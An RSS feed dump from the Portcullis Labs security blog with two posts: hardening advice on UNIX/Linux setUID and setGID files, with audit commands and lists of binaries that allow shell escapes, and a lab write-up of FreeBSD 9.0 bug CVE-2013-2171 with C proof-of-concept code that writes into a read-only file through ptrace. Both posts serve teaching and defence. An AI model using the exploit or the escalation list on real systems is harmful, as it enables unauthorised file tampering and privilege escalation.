Portcullis Labs » FreeBSD https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 UNIX and Linux setUID advice and guidance https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/ https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/#comments Fri, 16 Jun 2017 14:41:53 +0000 https://labs.portcullis.co.uk/?p=5793 It is a topic that often comes up on client engagements, usually when running structured build reviews of Linux “gold builds”, but occasionally when trying to explain in detail how we used a Linux system to pivot internally. SetUID and setGID files are inevitably a risk, potentially allowing attackers to elevate privileges to root from […]

The post UNIX and Linux setUID advice and guidance appeared first on Portcullis Labs.

]]>
It is a topic that often comes up on client engagements, usually when running structured build reviews of Linux “gold builds”, but occasionally when trying to explain in detail how we used a Linux system to pivot internally.

SetUID and setGID files are inevitably a risk, potentially allowing attackers to elevate privileges to root from a basic user. When shared out on SMB or NFS shares they can spread the risk even further.

One good approach would be:

“The only good setUID is a chmod -s setuid” i.e. deactivate this particular functionality.

However, sysadmins may (understandably) get a bit wobbly when we suggest this and come up with a number of fairly valid reasons why this is tricky. They have a point to some extent, but this is 2017 and we should be biting some of these bullets.

Yes, reducing the risk in this area is tough, but it is in fact a good start in defining least privilege security controls. You can learn how little or how much power individual users require and manage this accordingly. You can also test your changes before rolling them out and sanity check the advice given.

At the very least we need a list of files that should not be setUID that we can give to sysadmins and, with confidence, recommend removing or changing the permissions. A pragmatic strategy for mitigating the risks incurred would also be good.

So what are they?

SetUID/setGID bits are file permissions set on binary files when we need them to run with the permissions of the owner (setUID) or the group (setGID) that owns the file, usually a root or equivalent user. Historically this functionality was entrenched in UNIX and Linux and was necessary, up to a point, for a system to function as intended.

Many vendors are now working toward eliminating the requirement for these permissions and UNIX based systems can be configured, with some care, not to use them.

We potentially have 3 categories of setUID and setGID files:

The “naughty” list

  • May have become setUID by accident, installation of third-party software, malicious activity or sloppy coding and should almost certainly not be allowed
  • tar, find, vi, etc
  • Likely high risk to get root easily
  • Epic fail -rwsrw-rw- More common than you would think
  • Vendor supplied software often a culprit

The “remove” list

  • Redundant, legacy or not really required to be setUID
  • rcp, arping, etc
  • Likely low risk but should be easy to remove

The “allowed” list

  • OS may fail to function as expected if setUID is removed without care
  • For example passwd, sudo
  • Should be mitigated to minimise risks
  • Many can be reclassified as 2 above and have the setUID bit removed

We report on categories 1 (naughty) and 2 (remove) scoring appropriate to the risk and ease of exploitation. We report on 3 (allowed) with recommendations to mitigate.

For example, a setUID on the find command (or any shell command with abilities to run other programs or shells) would be a high risk vulnerability allowing regular users to become root fairly easily.

How to deal with these issues?

The approach to recommend to customers:

  1. Audit – find all setUID and setGID files on the system locally and on all filesystems not mounted nosetuid
  2. Validate – elfsign and cross checks against vendor checksums
  3. Eliminate where possible – uninstall, chmod -s or rm
  4. Mitigate where necessary – FIM, auditing, remote logging, mount NAS nosetuid

This applies primarily to common Linux distributions. Solaris and AIX for example may have slightly different filenames and locations, but similar principles apply.

The ubiquitous sudo or other equivalent tools can be used to configure fine grained privilege management without the requirement for setUID permissions. Your version of sudo must be up to date, the sudoers configuration files must be secure and have a strictly limited set of commands allowed per user or group.

Customers need to consider how the remediation and mitigation steps fit within their overall strategies for user and privilege management alongside local and remote file permissions.

For example:

Do they have a good FIM solution and can they utilise remote logging as a mitigation? Do they wish to work at the standard build level and have a hardened standard build? If so, then maybe they’re in the right place to look at removing these permissions?

In particular File Integrity Monitoring, which should focus on the most vulnerable files on a system, should track any changes to the files with the setUID/setGID bit set. Any changes should be audited and remotely logged to ensure that an attacker cannot cover their tracks.

Other mitigation techniques include SELinux and other RBAC mechanisms on Linux, Trusted Execution and Trusted Computing Base on AIX and RBAC on Solaris.

More recent Linux kernels (starting 2.6.26) can make use of capabilities which provide fine-grained control over superuser permissions, allowing use of the root user to be avoided.

Sysadmins need some encouragement and support in both remediation and mitigation. If something unexpected does not work upon removing a setUID file permission, it is important to try to use that as a learning experience and a consequence of taking least privilege as far as possible.

At the very least tighten up your sudo configuration and remove as many setUIDs as you can.

Finding setUID and setGID files

# find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \;

Example output:

Here is a setUID file:

-rws--x--x. 1 root root 23960 Sep 23  2016 /usr/bin/chfn

And here is a setGID file:

-r-xr-sr-x. 1 root tty 15392 May  4  2014 /usr/bin/wall

Just for fun

Snapshot a VM of your favourite Linux distro and run the following command (this will break your system in odd ways, so never do it to a production system) and run the following commands:

# find / -type f -perm -u+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc > /var/tmp/setUID.lst
# find / -type f -perm -g+s -exec ls -l {} \; |awk '{print $NF}'|grep -v proc > /var/tmp/setGID.lst
# for a in `cat /var/tmp/setUID.lst`; do chmod u-s $a; done
# for a in `cat /var/tmp/setGID.lst`; do chmod g-s $a; done

See what breaks.

You can revert to the snapshot if your nerve does not hold.

You should be able to reboot the machine and log in as a normal user. After that you will discover the limitations you have imposed upon yourself and the operating system.

The lists (mid 2017) which are not exhaustive

N.B. PATHs to the files may vary…

The “naughty” list

  • /usr/bin/awk
  • /bin/tar
  • /usr/bin/python
  • /usr/bin/script
  • /usr/bin/man
  • /usr/bin/ssh
  • /usr/bin/scp
  • /usr/bin/git
  • /usr/bin/find
  • /usr/bin/gdb
  • /usr/bin/pico
  • /usr/bin/nano
  • /usr/bin/zip
  • /usr/bin/vi
  • /usr/sbin/lsof
  • /bin/cat
  • /usr/bin/vim
  • /usr/bin/gvim

The point with this list is that they should not really be setUID or setGID and they all have command options that could spawn a shell or otherwise engage in mischief.

The “remove” list

  • /usr/bin/rcp
  • /usr/bin/rlogin
  • /usr/bin/rsh
  • /usr/libexec/openssh/ssh-keysign
  • /usr/lib/openssh/ssh-keysign
  • /sbin/netreport
  • /usr/sbin/usernetctl
  • /usr/sbin/userisdnctl
  • /usr/sbin/pppd
  • /usr/bin/lockfile
  • /usr/bin/mail-lock
  • /usr/bin/mail-unlock
  • /usr/bin/mail-touchlock
  • /usr/bin/dotlockfile
  • /usr/bin/arping
  • /usr/sbin/uuidd
  • /usr/bin/mtr
  • /usr/lib/evolution/camel-lock-helper-1.2
  • /usr/lib/pt_chown
  • /usr/lib/eject/dmcrypt-get-device
  • /usr/lib/mc/cons.saver

Consider removing as a good mitigation strategy.

Here’s some others that are usually installed setUID, however, on a hardened system they can usually have their setUID/setGID bits removed:

  • /bin/mount
  • /bin/umount
  • /usr/bin/at
  • /usr/bin/newgrp
  • /usr/bin/ssh-agent
  • /sbin/mount.nfs
  • /sbin/umount.nfs
  • /sbin/mount.nfs4
  • /sbin/umount.nfs4
  • /usr/bin/crontab
  • /usr/bin/wall
  • /usr/bin/write
  • /usr/bin/screen
  • /usr/bin/mlocate
  • /usr/bin/chage
  • /usr/bin/chfn
  • /usr/bin/chsh
  • /bin/fusermount
  • /usr/bin/Xorg
  • /usr/bin/X
  • /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  • /usr/lib/vte/gnome-pty-helper
  • /usr/lib/libvte9/gnome-pty-helper
  • /usr/lib/libvte-2.90-9/gnome-pty-helper

The “allowed” list

  • /bin/ping
  • /bin/su
  • /sbin/pam_timestamp_check
  • /sbin/unix_chkpwd
  • /usr/bin/gpasswd
  • /usr/bin/locate
  • /usr/bin/passwd
  • /usr/libexec/utempter/utempter
  • /usr/sbin/lockdev
  • /usr/sbin/sendmail.sendmail
  • /usr/bin/expiry
  • /bin/ping6
  • /usr/bin/traceroute6.iputils
  • /usr/bin/pkexec
  • /usr/bin/sudo
  • /usr/bin/sudoedit
  • /usr/sbin/postdrop
  • /usr/sbin/postqueue
  • /usr/sbin/suexec
  • /usr/lib/squid/ncsa_auth
  • /usr/lib/squid/pam_auth
  • /usr/kerberos/bin/ksu
  • /usr/sbin/ccreds_validate

Final words

It’s worth noting that we know these lists won’t work for everyone; systems are complex and behaviour is intertwined. That said, no matter what your opinion on the necessity or otherwise of a setUID/setGID bit on a given file, we’d like to think the approach of knowing which files have the setUID/setGID bit and why is something we can all get on board with.

Some good references

The post UNIX and Linux setUID advice and guidance appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/unix-and-linux-setuid-advice-and-guidance/feed/ 0
In the lab, popping CVE-2013-2171 for FreeBSD 9.0… https://labs.portcullis.co.uk/blog/in-the-lab-popping-cve-2013-2171-for-freebsd-9-0/ https://labs.portcullis.co.uk/blog/in-the-lab-popping-cve-2013-2171-for-freebsd-9-0/#comments Wed, 11 Dec 2013 01:42:04 +0000 https://labs.portcullis.co.uk/?p=2554 As a security researcher, I’m keen to learn new exploitation techniques and the art of kernel exploitation is no exception. Whilst preparing my slides for 44CON 2013, I was looking for an easy kernel vulnerability to demonstrate. CVE-2013-2171 was a recent vulnerability that was reported in FreeBSD 9.0 which fitted the bill. As I explained […]

The post In the lab, popping CVE-2013-2171 for FreeBSD 9.0… appeared first on Portcullis Labs.

]]>
As a security researcher, I’m keen to learn new exploitation techniques and the art of kernel exploitation is no exception. Whilst preparing my slides for 44CON 2013, I was looking for an easy kernel vulnerability to demonstrate. CVE-2013-2171 was a recent vulnerability that was reported in FreeBSD 9.0 which fitted the bill.

As I explained in my talk, for a number of reasons, FreeBSD advisories are a great place to start learning about kernel exploitation:

  • The source is freely available
  • It’s very readable
  • The FreeBSD Security Officer doesn’t hide the details of vulnerabilities unlike other vendors’ security teams

Anyway, let’s take a look at the bug in a bit more detail.

We start by taking a look at the description given in the advisory, which starts by talking about memory mapped files before stating that:

Due to insufficient permission checks in the virtual memory system, a tracing process (such as a debugger) may be able to modify portions of the traced process’s address space to which the traced process itself does not have write access.

Sounds interesting but how do we exploit it?

The first clue is in the reference to memory mapped files. For those of you that are unaware, on POSIX like systems, the mmap() function allows us to map the contents of a file (specified by a file descriptor) to an address which we can then access as if it’s a piece of physical RAM. Whilst clue two is in the reference to debuggers. The FreeBSD ptrace() function allows us to perform the PIOD_WRITE_D operation to write to the memory space of a process that has been traced.

Putting this all together, we end up with something like this:

filehandle = open("/path/to/a/readable/file", 0, 0);
if ((mmapbuffer = (void *) mmap((void *) NULL, 1024, PROT_READ, MAP_SHARED, filehandle, 0)) == (void *) -1) {
	perror("mmap");
}
if ((childpid = fork()) == 0) {
	if (ptrace(PT_TRACE_ME, 0, NULL, 0)) {
		perror("PT_TRACE_ME");
		exit(EXIT_FAILURE);
	}
	sleep(60);
	exit(EXIT_SUCCESS);
} else {
	if (ptrace(PT_ATTACH, childpid, NULL, 0)) {
		perror("PT_ATTACH");
		exit(EXIT_FAILURE);
	}
	if (wait(0) == -1) {
		perror("wait");
		exit(EXIT_FAILURE);
	}	
	newbuffer = malloc(1024);
	memset(newbuffer, 'A', 1024);
	iodesc.piod_op = PIOD_WRITE_D;
	iodesc.piod_offs = mmapbuffer;
	iodesc.piod_addr = newbuffer;
	iodesc.piod_len = 1023;
	if (ptrace(PT_IO, childpid, (caddr_t) &iodesc, sizeof(iodesc))) {
		perror("PT_IO");
		exit(EXIT_FAILURE);
	}
	free(newbuffer);
	if (munmap(newbuffer, 1024) == -1) {
		perror("munmap");
	}
	if (ptrace(PT_DETACH, childpid, NULL, 0)) {
		perror("PT_DETACH");
		exit(EXIT_FAILURE);
	}
	close(filehandle);
	exit(EXIT_SUCCESS);
}

As you can see, this opens a readable file and writes 1024 As to it.

But wait, why does this even work?

The patch supplied by the FreeBSD project adds an additional check to vm_map_lookup() which essentially returns KERN_PROTECTION_FAILURE if we’re trying to copy-on-read, and the page isn’t writable and the page isn’t marked as copy-on-write like so:

if ((fault_typea & VM_PROT_COPY) != 0 &&
	(entry->max_protection & VM_PROT_WRITE) == 0 &&
		(entry->eflags & MAP_ENTRY_COW) == 0) {
			vm_map_unlock_read(map);
				return (KERN_PROTECTION_FAILURE);
		}

It turns out that it works for the same reason that we can insert breakpoints into text segments of a running process even though they’re typically mapped as read-executable. Essentially, the kernel handles writes by ptrace() and it can bypass the permissions on the page since it runs with privileges beyond those of a userland process. The fix implemented by the FreeBSD project is simply to deny attempts to copy the page if it’s not actually writable. Debugging will continue to work after the patch has been applied, since for those segments, the pages will be marked as copy-on-write, something that isn’t the case for mmap()’d files.

The post In the lab, popping CVE-2013-2171 for FreeBSD 9.0… appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/in-the-lab-popping-cve-2013-2171-for-freebsd-9-0/feed/ 0